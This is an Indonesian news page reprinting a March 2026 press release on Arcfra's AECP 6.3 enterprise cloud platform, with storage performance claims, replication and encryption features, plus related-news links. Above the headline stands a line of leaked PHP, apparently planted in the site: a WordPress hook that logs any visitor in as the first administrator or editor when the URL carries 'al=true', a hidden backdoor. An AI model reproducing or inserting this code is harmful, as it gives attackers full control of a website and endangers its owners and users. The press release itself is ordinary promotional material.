// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Arcfra AECP 6.3 Menembus Batasan Performa 11 Juta IOPS, Hadirkan Performa "All-Flash" Kelas Premium dan Ketahanan RPO=0 untuk "Cloud Enterprise" - Femme Indonesia

Arcfra AECP 6.3 Menembus Batasan Performa 11 Juta IOPS, Hadirkan Performa “All-Flash” Kelas Premium dan Ketahanan RPO=0 untuk “Cloud Enterprise”

Avatar photo

- Pewarta

Sabtu, 21 Maret 2026 - 17:43 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Arcfra AECP 6.3 Menembus Batasan Performa 11 Juta IOPS, Hadirkan Performa

Arcfra AECP 6.3 Menembus Batasan Performa 11 Juta IOPS, Hadirkan Performa "All-Flash" Kelas Premium dan Ketahanan RPO=0 untuk "Cloud Enterprise"

SINGAPURA, 21 Maret 2026 /PRNewswire/ — Arcfra, pelopor infrastruktur komputasi awan (cloud) dan akal imitasi (AI) berperforma tinggi, hari ini meluncurkan Arcfra Enterprise Cloud Platform (AECP) 6.3. Didukung Sistem Operasi Arcfra Cloud (ACOS 6.3) terbaru, AECP versi terkini menghadirkan peningkatan performa hingga 4,6 kali lipat, serta synchronous replication dengan RPO=0 sebagai fitur bawaan, sehingga menjadi alternatif berperforma tinggi dan hemat biaya dibandingkan arsitektur berbasiskan VMware biasa.

Setelah banyak perusahaan berhadapan dengan lonjakan biaya lisensi dan harus memproses data AI dalam jumlah besar, AECP 6.3 tidak memerlukan sistem penyimpanan yang dirancang khusus (proprietary) serta berbiaya mahal berkat optimalisasi arsitektur yang mendalam.

"Pada 2026, standar virtualisasi telah bergeser dari sekadar ‘dapat dijalankan’ menjadi ‘dapat dijalankan secara efisien dan berkelanjutan’," ujar Robert Li, Director, Alliance and Product Marketing, Arcfra. "AECP 6.3 mendorong infrastruktur hyperconverged memasuki era akselerasi AI native, sekaligus mengatasi kompleksitas yang paling dikhawatirkan perusahaan saat bermigrasi dari sistem lama."

Menembus Batas Performa

AECP 6.3 menghadirkan kecepatan yang "menembus batas kemampuan perangkat keras" melalui optimalisasi berbasiskan perangkat lunak, menandingi performa All-Flash Array kelas premium. Berdasarkan pengujian pada klaster standar tiga node, platform ini mencatat peningkatan maksimum dibandingkan versi sebelumnya:

  • Lebih dari 11 Juta IOPS pada Random Read 4K (meningkat 4,6X ).
  • Lebih dari 130 GiB/s pada Sequential Read (meningkat 3,6X ).
  • Latensi berkurang hingga di bawah 100 μs pada Random Read 4K.

Pencapaian ini didukung oleh integrasi Intel® Data Streaming Accelerator (DSA), rangkaian IO_uring yang lebih modern, serta penggunaan volume virtual 8-stripe yang memaksimalkan paralelisme penyimpanan tanpa perlu konfigurasi manual.

Kesinambungan Operasional Tanpa Risiko untuk Sistem Kritis

Untuk melindungi beban kerja yang bersifat kritis, AECP 6.3 menghadirkan replikasi sinkron seketika (real-time) pada level VM tanpa Recovery Point Objective (RPO). Hal tersebut memastikan integritas data, terutama untuk transaksi finansial dan aplikasi AI/VDI. Selain itu, Arcfra juga menurunkan kebutuhan minimum untuk klaster aktif-aktif dari enam node menjadi empat node sehingga mempermudah perusahaan menengah mencapai tingkat ketersediaan tinggi.

Arsitektur Keamanan Native

AECP 6.3 menghadirkan konsep "Security by Design" dengan encrypted live migration dan encryption at rest melalui Key Management Service (KMS) bawaan. Hal ini mempermudah kepatuhan regulasi tanpa menambah beban operasional.

Mudah Dioperasikan dalam Skala Besar

AECP 6.3 mudah dioperasikan dalam skala besar dengan mengotomatisasi pekerjaan rutin dan mengurangi biaya tersembunyi. Fitur yang tersedia mencakup pengkinian VMTools secara batch, menjaga alamat PCI virtual NIC saat migrasi untuk memastikan kelancaran transisi, serta optimalisasi hot migration yang hanya memindahkan data valid guna meminimalkan gangguan layanan.

Berita Terkait

AGIBOT Gelar APC 2026 di Indonesia, Percepat Implementasi AI Berwujud Fisik di Pasar Lokal
AICPA dan CIMA Luncurkan Rise2040
XCMG CONNECT Hubungkan Pelanggan, Alat Berat, dan Lokasi Kerja Menjadi Sebuah Ekosistem Layanan Industri Digital
MUST Luncurkan Seri Energi Hibrida untuk Berbagai Skenario di SNEC 2026
Beauty of Joseon Dinobatkan sebagai “Merek Tabir Surya K-Beauty No.1 Global dalam Penjualan Online” oleh Euromonitor International
Keterampilan Kerja Tetap Menjadi Prioritas Meski Sentimen Rekrutmen Melambat di Asia Pasifik dan Timur Tengah pada Triwulan III-2026, Menurut Survei ManpowerGroup
Mouser Electronics Raih Penghargaan Top Customer Count Asia 2025 dari NXP untuk Pertama Kalinya
Dongfeng Liuzhou Motor Gelar “67 Brand Customer Day” Edisi Ke-10, Tempuh Jalur Baru dalam Ekspansi Global

Berita Terkait

Selasa, 9 Juni 2026 - 16:19 WIB

AGIBOT Gelar APC 2026 di Indonesia, Percepat Implementasi AI Berwujud Fisik di Pasar Lokal

Selasa, 9 Juni 2026 - 13:20 WIB

AICPA dan CIMA Luncurkan Rise2040

Selasa, 9 Juni 2026 - 05:59 WIB

XCMG CONNECT Hubungkan Pelanggan, Alat Berat, dan Lokasi Kerja Menjadi Sebuah Ekosistem Layanan Industri Digital

Selasa, 9 Juni 2026 - 01:52 WIB

MUST Luncurkan Seri Energi Hibrida untuk Berbagai Skenario di SNEC 2026

Selasa, 9 Juni 2026 - 01:00 WIB

Beauty of Joseon Dinobatkan sebagai “Merek Tabir Surya K-Beauty No.1 Global dalam Penjualan Online” oleh Euromonitor International

Berita Terbaru

Pers Rilis

AICPA dan CIMA Luncurkan Rise2040

Selasa, 9 Jun 2026 - 13:20 WIB